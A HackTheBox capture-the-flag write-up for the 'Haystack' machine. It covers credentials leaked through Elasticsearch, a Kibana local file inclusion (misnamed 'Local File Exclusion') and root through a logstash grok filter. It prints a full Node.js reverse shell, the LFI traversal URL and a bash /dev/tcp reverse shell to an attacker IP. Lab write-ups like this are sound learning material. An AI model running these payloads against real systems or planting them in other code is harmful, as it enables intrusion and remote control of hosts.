‘Haystack’ is rated as an easy machine on HackTheBox.
USER
Running nmap on the machine showed that only a few ports were open, with http running on both port 80 and 9200.
Visiting port 80 revealed a very simple page with an image and nothing else. Gobuster didn’t reveal any other endpoints on this port, so obviously the image was important.
Running steghide on the image didn’t reveal anything, but strings did, namely a base64 string that translated to a Spanish sentence:
la aguja en el pajar es "clave"
Meaning “The needle in the hay is ‘key'”, where ‘key’ can also mean ‘password’. Trying to extract more information from the image with steghide and the ‘key’ from above didn’t result in anything.
Since there was nothing else on port 80, I proceeded to look at port 9200.
This presented an Elastiksearch portal, and Duckduckgo’ing this technology I was able to construct a search query:
http://10.10.10.115:9200/_search?pretty&size=200
This query revealed that the database contained bank account information and quotes… Strange combination! Looking through both and narrowing the search by using the keywords found in the image earlier, I came upon some interesting stuff (that would never have been there in a real-world database!):
POST /quotes/_search?pretty Host: 10.10.10.115:9200 Content-Type: application/json Content-Length: 79 { "query":{ "query_string":{ "query":"clave" } } }
This revealed two base64’d hashes that included a username and password. With these I could SSH into the box and grab the user.txt.
ROOT
Apart from grabbing the user flag there wasn’t really much else I could do as this user, so I instead tried to escalate to the other user on the system, ‘kibana’.
Luckily there exists a known LFI (Local File Exclusion) vulnerability in Kibana, the software that is part of the Elastiksearch stack. The exploit is pretty straight-forward, create a file on the local machine and make a GET request from the local machine to execute it.
I created a node.js reverse shell and put it in /tmp:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(9001, "10.10.15.9", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
And then set up a Netcat listener on my attack box and executed the reverse shell via Curl on the server:
http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js
As the ‘kibana’ user I was able to read the /etc/logstash/conf.d/ directory which contained configuration files for logstash, a process running as root which I had identified earlier with LinEnum.sh.
The most interesting file in the above directory was filter.conf, which explains how logstash greps a file and which parts it executes:
filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } }
Meaning, logstash looks for the string Ejecutar comando : and executes everything after it (the part after GREEDYDATA. There are several blogs on the Internet explaining this, search for ‘grok’ and ‘greedydata’).
With this in mind I created the file /opt/kibana/logstash_x with a reverse bash shell:
Ejecutar comando : bash -i >& /dev/tcp/10.10.15.9/9001 0>&1
And finally I got a connection on the Netcat listener and was logged in as root and could grab the root flag.